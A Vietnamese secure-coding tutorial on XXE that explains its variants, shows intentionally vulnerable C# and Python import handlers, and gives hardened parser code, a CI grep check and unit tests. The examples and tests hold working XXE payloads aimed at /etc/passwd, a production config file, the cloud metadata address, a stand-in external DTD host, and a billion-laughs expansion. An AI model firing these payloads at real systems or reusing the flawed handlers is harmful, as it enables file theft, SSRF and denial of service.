Là gì
XXE là lỗi khi một bộ phân tích XML xử lý external entity — một cơ chế của chuẩn XML cho phép tài liệu khai báo "chỗ này thay bằng nội dung của file/URL kia". Kẻ tấn công gửi lên XML khai báo một entity trỏ tới /etc/passwd hay http://169.254.169.254/, và parser đọc nó hộ.
Vì sao bạn quan tâm
XXE là lỗi mà mặc định của thư viện quyết định bạn có nó hay không, và code của bạn trông hoàn toàn bình thường. Không có chuỗi nào bị nối, không có input nào bị tin — chỉ có một dòng XmlDocument.Load(stream).
Ba điều làm nó sống dai:
- Nó nằm ở chỗ bạn không nhớ là XML. SVG là XML. DOCX/XLSX là ZIP chứa XML. SAML assertion là XML. Sitemap, RSS, SOAP, XML-RPC, và một số cấu hình. Một ô "upload avatar" nhận
.svglà một điểm vào XXE. - Mặc định khác nhau giữa các nền tảng và các phiên bản. .NET Framework cũ mở entity theo mặc định, .NET Core thì không; Java
DocumentBuilderFactorymở; Pythonxml.etreechặn<!ENTITY>từ 3.x nhưnglxmlthì tuỳ tham số. Nên "chúng ta không bị" là một câu chỉ đúng cho đúng một phiên bản. - Nó cho ra SSRF miễn phí. Entity trỏ tới
http://biến parser thành một client HTTP đi từ trong mạng.
Và bản vá lại là một dòng: tắt DTD. Gần như không có ứng dụng nào cần external entity, nên đây là lỗ hổng có tỉ lệ (hậu quả ÷ công sức vá) cao nhất trong toàn bộ nhóm server-side.
Cơ chế hoạt động
Cơ chế là một tính năng của chuẩn XML, không phải một lỗi lập trình. Parser làm đúng những gì tài liệu yêu cầu — vấn đề là tài liệu do kẻ tấn công viết.
sequenceDiagram autonumber actor A as Kẻ tấn công participant App as App (parser XML) participant FS as Filesystem / mạng nội bộ A->>App: POST /api/import<br/><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><br/><r>&x#59;</r> Note over App: Parser thấy khai báo DTD và<br/>GIẢI QUYẾT entity — đúng theo chuẩn XML. App->>FS: open("/etc/passwd") FS-->>App: root:x:0:0:... Note over App: &x#59; được THAY bằng nội dung file<br/>trước khi code của bạn thấy tài liệu. App-->>A: 200 — "Import failed for user root:x:0:0:..."Điểm quan trọng ở bước cuối: thông báo lỗi thường là kênh rò dữ liệu. Code của bạn không hề in file ra; nó chỉ echo lại giá trị mà nó tưởng là tên người dùng.
Bốn biến thể, và chúng cần biết riêng vì bản vá "tắt entity ngoài" chỉ đóng ba trong bốn:
| Biến thể | Payload | Cần gì |
|---|---|---|
| Đọc file | <!ENTITY x SYSTEM "file:///etc/passwd"> | Giá trị hiện lại đâu đó trong response |
| SSRF | <!ENTITY x SYSTEM "http://169.254.169.254/…"> | Parser gọi được ra ngoài |
| Blind / OOB | DTD ngoài đẩy dữ liệu qua URL: %d;%p; | Chỉ cần parser tải được DTD ngoài |
| Billion laughs | Entity nội bộ lồng nhau 10 cấp | Không cần entity ngoài — nên DtdProcessing phải là Prohibit, không phải chỉ chặn resolver |
Hàng cuối là hàng bị bỏ nhiều nhất: <!ENTITY a "aaaa"> <!ENTITY b "&a;&a;&a;…"> lồng mười cấp nở ra hàng GB trong RAM. Nó là entity nội bộ, nên mọi bản vá chỉ chặn external entity đều để nó đi qua.
XInclude là đường vòng thứ hai: khi không tắt được DTD (một số API bắt buộc), <xi:include href="file:///etc/passwd" parse="text"/> làm đúng việc đó mà không cần một khai báo DTD nào.
Mô tả sơ đồ: Sơ đồ tuần tự: kẻ tấn công POST một tài liệu XML khai báo DOCTYPE với entity SYSTEM trỏ tới file:///etc/passwd. Parser của app giải quyết entity đó theo đúng chuẩn XML, mở file trên đĩa, nhận nội dung, rồi thay &x; bằng nội dung file trước khi code ứng dụng nhìn thấy tài liệu. App echo lại giá trị đó trong thông báo lỗi, nên nội dung /etc/passwd đi ra ngoài qua chính thông báo lỗi.
Ví dụ cụ thể
Endpoint import danh bạ từ XML — và cùng payload đó qua một file SVG upload lên làm avatar.
POST /api/contacts/import HTTP/1.1Content-Type: application/xml <?xml version="1.0"?><!DOCTYPE contacts [ <!ENTITY leak SYSTEM "file:///app/appsettings.Production.json">]><contacts><contact><name>&leak;</name></contact></contacts>HTTP/1.1 400 Bad Request {"error":"Invalid contact name: {\"ConnectionStrings\":{\"Core\":\"Host=db;Password=S3cr…\"}}"}400 chứ không 200 — và dữ liệu vẫn ra. Đây là lý do khối 6 có lớp "không echo giá trị vào thông báo lỗi".
Cùng payload, đường vào khác — ô upload avatar nhận .svg:
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/iam/">]><svg xmlns="http://www.w3.org/2000/svg"><text>&x;</text></svg>Không có endpoint nào tên là "import XML" ở đây. Chỉ có một ô upload ảnh.
[HttpPost("/api/contacts/import")]public async Task<IActionResult> Import(CancellationToken ct){ // ❌ Không có chuỗi nào bị nối, không có input nào bị "tin". Chỉ có một mặc định // của thư viện, và trên .NET Framework mặc định đó GIẢI QUYẾT external entity. // Đây là lý do XXE sống dai: code trông hoàn toàn bình thường. var doc = new XmlDocument(); doc.Load(Request.Body); var names = doc.SelectNodes("//contact/name")!; var imported = 0; foreach (XmlNode n in names) { // Lúc này n.InnerText KHÔNG còn là "&leak;" — parser đã thay nó bằng nội dung // của /app/appsettings.Production.json trước khi dòng này chạy. if (n.InnerText.Length is 0 or > 80) // ❌ Kênh rò. Code không in file ra; nó echo lại một giá trị mà nó tưởng // là tên người dùng. Response là 400, và dữ liệu vẫn đi ra. return BadRequest(new { error = $"Invalid contact name: {n.InnerText}" }); await _contacts.AddAsync(n.InnerText, ct); imported++; } return Ok(new { imported });}from lxml import etree @app.post("/api/contacts/import")def import_contacts(): # ❌ Mặc định của lxml giải quyết entity. Khác với xml.etree của thư viện chuẩn # (chặn <!ENTITY> từ Python 3.x), nên "Python an toàn rồi" là câu chỉ đúng # cho một trong hai parser mà cùng một project thường dùng cả hai. doc = etree.fromstring(request.data) for name in doc.xpath("//contact/name/text()"): if len(name) > 80: # Và cùng kênh rò như bản C#: echo lại giá trị đã bị thay. return {"error": f"Invalid contact name: {name}"}, 400 add_contact(name) return {"ok": True}Chuyện đã xảy ra
Facebook, 2014 — XXE qua chức năng "career application" (Reginaldo Silva). Một endpoint nhận file DOCX/XML để nộp CV; entity ngoài đọc được file trên máy chủ và từ đó tới RCE. Facebook trả bounty 33.500 USD, lúc đó là mức cao nhất họ từng trả. Đáng nhớ vì đường vào là một ô nộp CV, đúng luận điểm của khối 2.
CVE-2018-1000840 và cả họ lỗi trong thư viện xử lý Office/SVG. Mọi thư viện đọc DOCX/XLSX đều unzip rồi parse XML bên trong, và mặc định của parser đó là thứ mà người dùng thư viện không nhìn thấy. Điều này giải thích vì sao khối 7 phải kiểm cả các đường vào không tên là XML: bạn không kiểm được mặc định của một parser mà bạn không biết là có.
Cách phòng chống
Tắt DTD hoàn toàn — một dòng, và nó đóng cả bốn biến thể
bắt buộcGần như không ứng dụng nào cần external entity. Nên bản vá đúng không phải "chặn entity ngoài" mà là cấm DTD, vì đó là thứ duy nhất cũng chặn được billion laughs (entity nội bộ).
| Nền tảng | Cấu hình |
|---|---|
| .NET | XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null } |
| Java | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) |
| Python lxml | etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False) |
| Go | encoding/xml không giải quyết external entity — mặc định đã đúng |
| Node | libxmljs: { noent: false, nonet: true }; fast-xml-parser không xử lý DTD |
DtdProcessing.Prohibit khác Ignore: Ignore bỏ qua khai báo nhưng vẫn parse tiếp, Prohibit ném lỗi ngay. Chọn Prohibit — một tài liệu có DTD gửi tới API của bạn là một tín hiệu, không phải một chi tiết cần bỏ qua im lặng.
Và tắt XInclude (XmlReaderSettings không bật nó theo mặc định, nhưng một số framework có): nó là đường vòng không cần DTD nào.
/// <summary>/// Điểm vào DUY NHẤT để parse XML trong toàn bộ codebase.////// Một hàm chứ không một đoạn cấu hình copy đi khắp nơi, vì cấu hình đúng ở ba chỗ/// và sai ở chỗ thứ tư là trạng thái bình thường của mọi codebase sau sáu tháng —/// mỗi lời gọi XmlReader.Create mới là một cơ hội mới để quên.////// Cùng nguyên tắc với GetByIdAsync(id, userId) ở topic access-control: làm cho/// phương án sai KHÔNG TỒN TẠI trong API nội bộ, thay vì hy vọng người ta nhớ./// Một grep trong CI chặn mọi lời gọi trực tiếp không đi qua đây./// </summary>public static class SafeXml{ // 10MB. Trần kích thước là bắt buộc dù đã Prohibit: một tài liệu XML phẳng // 2GB không cần entity nào để làm chết process. private const long MaxBytes = 10L * 1024 * 1024; private static readonly XmlReaderSettings Settings = new() { // Prohibit, KHÔNG phải Ignore. Ignore bỏ qua khai báo rồi parse tiếp; Prohibit // ném lỗi ngay. Chọn Prohibit vì một tài liệu có DTD gửi tới API của ta là một // TÍN HIỆU đáng ghi lại, không phải một chi tiết cần bỏ qua im lặng. // // Và đây là dòng đóng BILLION LAUGHS: entity lồng nhau là entity NỘI BỘ, nên // XmlResolver = null một mình không chặn được nó. DtdProcessing = DtdProcessing.Prohibit, // Không có resolver nào: kể cả khi một API khác bật lại DTD, không có đường // nào ra filesystem hay ra mạng. XmlResolver = null, // Không nở entity, và không tin khai báo độ dài trong chính tài liệu. MaxCharactersFromEntities = 0, MaxCharactersInDocument = MaxBytes, IgnoreComments = true, IgnoreProcessingInstructions = true, CloseInput = false, }; public static XmlReader CreateReader(Stream input) => XmlReader.Create(new LimitedStream(input, MaxBytes), Settings); /// <summary>Đọc thành XDocument. Không có overload nào nhận XmlReaderSettings riêng.</summary> public static XDocument LoadDocument(Stream input) { using var reader = CreateReader(input); // LoadOptions.None: không giữ whitespace, không giữ base URI — base URI là // thứ một số resolver dùng để giải quyết đường dẫn tương đối. return XDocument.Load(reader, LoadOptions.None); }} // ── Endpoint ─────────────────────────────────────────────────────────────────[HttpPost("/api/contacts/import")]public async Task<IActionResult> Import(CancellationToken ct){ XDocument doc; try { doc = SafeXml.LoadDocument(Request.Body); } catch (XmlException ex) { // Tài liệu có DTD tới đây. Ghi lại — đó là một tín hiệu, không phải nhiễu. _logger.LogWarning(ex, "XML bị từ chối ở tầng parser (có thể là dò XXE)"); throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Malformed XML"); } var imported = 0; foreach (var name in doc.Descendants("contact").Elements("name").Select(e => e.Value)) { // Thông báo lỗi nói TRƯỜNG nào sai, không nói GIÁ TRỊ nào — lớp 3 của khối 6. // Giá trị vào log kèm correlation id; response chỉ mang id đó. if (name.Length is 0 or > 80) throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "A contact name is empty or too long"); await _contacts.AddAsync(name, ct); imported++; } return Ok(new { imported });}from lxml import etree MAX_BYTES = 10 * 1024 * 1024 class UnsafeXml(Exception): pass # Một parser dùng chung cho toàn bộ project — cùng lý do như SafeXml bên .NET:# cấu hình đúng ở ba chỗ và sai ở chỗ thứ tư là trạng thái bình thường sau sáu tháng.## Ba tham số phải CÙNG đặt, và bỏ bất kỳ cái nào cũng để hở một biến thể ở khối 3:_PARSER = etree.XMLParser( resolve_entities=False, # entity không được nở → đóng file-read và SSRF no_network=True, # không gọi ra ngoài → đóng blind/OOB load_dtd=False, # không đọc DTD → đóng billion laughs (entity NỘI BỘ) dtd_validation=False, huge_tree=False, # giữ trần mặc định về độ sâu và kích thước node) def parse(data: bytes): if len(data) > MAX_BYTES: # Trần kích thước vẫn cần dù đã tắt entity: một tài liệu phẳng 2GB không cần # entity nào để làm chết process. raise UnsafeXml("document too large") try: return etree.fromstring(data, parser=_PARSER) except etree.XMLSyntaxError as e: # Tài liệu có DTD tới đây. Ghi lại — đó là tín hiệu, không phải nhiễu. app.logger.warning("XML bị từ chối ở tầng parser (có thể là dò XXE): %s", e) raise UnsafeXml("malformed XML") from eMột factory duy nhất cho toàn bộ codebase
bắt buộcĐây là phần quyết định bản vá có sống được hay không. Cấu hình đúng ở ba chỗ và sai ở chỗ thứ tư là trạng thái bình thường của mọi codebase sau sáu tháng — vì mỗi lời gọi XmlReader.Create mới là một cơ hội mới để quên.
Cách sống được: một hàm SafeXml.CreateReader(stream), cộng một grep chặn merge cho mọi lời gọi trực tiếp tới XmlReader.Create/XmlDocument.Load/XDocument.Load. Cùng nguyên tắc với GetByIdAsync(id, userId) ở topic access-control: làm cho phương án sai không tồn tại trong API nội bộ, thay vì hy vọng người ta nhớ.
Tìm mọi đường vào XML, kể cả những đường không tên là XML
Danh sách cần rà: .svg (ô upload ảnh), .docx/.xlsx/.pptx (ZIP chứa XML), .xml/.rss/.atom, SAML assertion, SOAP, XML-RPC, sitemap, .plist, một số định dạng cấu hình và một số định dạng font.
Với SVG cụ thể: nếu chỉ cần hiển thị ảnh thì chuyển sang PNG ở server và bỏ file gốc. Nó đóng luôn cả XSS trong SVG (<script> trong SVG chạy khi ảnh mở như một tài liệu). Nếu buộc phải giữ SVG thì parse qua SafeXml và phục vụ nó từ một origin riêng.
Chặn egress và thu hẹp quyền đọc file
Lớp này bắt đúng cái lớp 1 sẽ bỏ sót: một parser mới, trong một thư viện mới, do người khác thêm vào. Cùng NetworkPolicy như topic SSRF — chặn 169.254.0.0/16 và các dải RFC1918 — đóng biến thể SSRF và biến thể blind/OOB (cả hai đều cần gọi ra ngoài).
Và quyền filesystem: process không đọc được /etc/shadow, khoá SSH, hay file cấu hình của chính nó. readOnlyRootFilesystem: true cộng một user không phải root. Lớp này quyết định XXE lấy được gì khi lớp 1 hở.
Không echo giá trị đã parse vào thông báo lỗi
Ví dụ ở khối 4 rò dữ liệu qua một response 400. Code không hề in file ra — nó echo lại một giá trị mà nó tưởng là tên người dùng, và giá trị đó đã bị parser thay bằng nội dung file.
Nên: thông báo lỗi validation nói trường nào sai, không nói giá trị nào. Giá trị vào log kèm correlation id; response chỉ mang id đó. Đây là lớp 3 vì nó không chặn XXE — nó đóng một kênh rò, và biến file-read thành blind.
Kiểm chứng đã vá
1. Test đơn vị với cả BỐN biến thể ở khối 3. Đây là điểm quan trọng nhất: ba test đầu pass với bản vá "chặn entity ngoài", chỉ test billion laughs mới phân biệt được Prohibit với một XmlResolver = null. Xem tab csharp / test.
2. Grep chặn merge cho mọi lời gọi parser trực tiếp — phép kiểm thực thi lớp 1b:
grep -rnE 'XmlReader\.Create|XmlDocument|XDocument\.(Load|Parse)|XmlSerializer' \ --include='*.cs' src/ | grep -v 'SafeXml' \ && { echo "parser XML không qua SafeXml — chặn"; exit 1; }exit 03. Test qua đường vào THẬT, không chỉ qua unit test của parser. Upload một .svg chứa payload XXE vào ô avatar, và một .docx chứa payload vào ô import. Đây là phép kiểm duy nhất bắt được một parser mà bạn không biết là có — và đó chính là loại parser gây ra sự cố Facebook 2014.
4. Kiểm callback ngoài không bao giờ tới. Dựng một collaborator (Burp Collaborator, hoặc một DNS log tự dựng) và gửi payload OOB. Không có request nào tới = lớp 1 và lớp 2 đều đóng:
curl -X POST https://staging.example.com/api/contacts/import \ -H 'Content-Type: application/xml' --data-binary @oob.xml# Rồi kiểm log DNS/HTTP: PHẢI trống5. Kiểm mặc định vẫn đúng sau khi nâng thư viện. Mặc định của parser đổi giữa các phiên bản, nên phép kiểm này phải nằm trong CI, chạy sau mỗi lần dotnet restore/pip install — không phải một lần rồi thôi.
public class SafeXmlTests{ private static Stream Xml(string s) => new MemoryStream(Encoding.UTF8.GetBytes(s)); /// <summary>Biến thể 1 — đọc file. Payload cơ bản, và test này pass với gần như mọi bản vá.</summary> [Fact] public void Rejects_external_entity_file_read() { var payload = """ <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <r>&x;</r> """; var ex = Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); // Ném vì DTD bị CẤM, không vì file đọc không được — thông điệp khác nhau và // sự khác nhau đó quan trọng: nếu nó ném ở bước mở file thì DTD đã được parse. Assert.Contains("DTD", ex.Message, StringComparison.OrdinalIgnoreCase); } /// <summary>Biến thể 2 — SSRF. Cùng cơ chế, đích khác.</summary> [Fact] public void Rejects_external_entity_http() { var payload = """ <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]> <r>&x;</r> """; Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); } /// <summary>Biến thể 3 — blind/OOB qua DTD ngoài, không cần giá trị hiện lại trong response.</summary> [Fact] public void Rejects_external_dtd() { var payload = """ <?xml version="1.0"?> <!DOCTYPE r SYSTEM "http://evil.example/x.dtd"> <r>test</r> """; Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); } /// <summary> /// Biến thể 4 — BILLION LAUGHS. Đây là test quan trọng nhất của bộ này. /// /// Ba test trên PASS với một bản vá chỉ đặt XmlResolver = null, vì cả ba dùng /// entity NGOÀI. Test này dùng entity NỘI BỘ, nên nó là test duy nhất phân biệt /// được DtdProcessing.Prohibit với "chặn entity ngoài". Bỏ dòng Prohibit ra thì /// đúng test này đỏ — và process ăn hết RAM trước khi nó đỏ. /// </summary> [Fact] public void Rejects_billion_laughs() { var payload = """ <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <lolz>&lol4;</lolz> """; Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload))); } /// <summary>XInclude — đường vòng không cần một khai báo DTD nào.</summary> [Fact] public void Does_not_process_xinclude() { var payload = """ <?xml version="1.0"?> <r xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </r> """; var doc = SafeXml.LoadDocument(Xml(payload)); // Không throw — XInclude là XML hợp lệ. Điều phải khẳng định là nó KHÔNG // được xử lý: thẻ còn nguyên, nội dung file không xuất hiện. Assert.DoesNotContain("root:x:0:0", doc.ToString()); Assert.Contains("include", doc.ToString()); } /// <summary>Cặp đôi: XML sạch vẫn parse được, nếu không bản vá là "chặn tất".</summary> [Fact] public void Accepts_clean_xml() { var doc = SafeXml.LoadDocument(Xml("<contacts><contact><name>Alice</name></contact></contacts>")); Assert.Equal("Alice", doc.Descendants("name").Single().Value); }}Sai lầm thường gặp
| "Bản vá" | Vì sao không đúng |
|---|---|
XmlResolver = null mà không đặt DtdProcessing | Đóng entity NGOÀI, để billion laughs (entity nội bộ) đi qua nguyên vẹn |
DtdProcessing = Ignore | Bỏ qua khai báo rồi parse tiếp. Prohibit mới ném lỗi — và một DTD gửi tới API là tín hiệu đáng biết |
Blocklist chuỗi <!ENTITY / <!DOCTYPE | Encoding khác (UTF-16, UTF-7), khoảng trắng lạ, và XInclude không cần chuỗi nào trong danh sách |
Vá endpoint nhận application/xml | Còn .svg, .docx, SAML, SOAP, sitemap — và không endpoint nào trong số đó tên là XML |
| Nâng runtime nên "mặc định an toàn rồi" | Đúng cho parser của runtime, không đúng cho parser trong thư viện bên thứ ba. Và mặc định đổi lại được ở lần nâng sau |
| Chỉ kiểm khi parse thành công | Ví dụ ở khối 4 rò dữ liệu qua một 400. Đường rò là thông báo lỗi, không phải luồng thành công |
| Sanitize XML bằng regex | XML không phải ngôn ngữ chính quy. Đây là bài toán mà regex thua về nguyên tắc, không phải vì viết chưa đủ kỹ |
Sai lầm về loại: nghĩ XXE là lỗi "đọc file". Biến thể SSRF cho phép quét mạng nội bộ và đọc metadata service; biến thể billion laughs là DoS làm chết process; và trên một số parser cũ expect:// là RCE.
Sai lầm về vị trí: đi tìm trong code của mình. Sự cố thật thường nằm trong một thư viện đọc DOCX mà bạn thêm vào vì cần đọc file Excel.
Bình luận
Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.
Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.
Đang tải bình luận…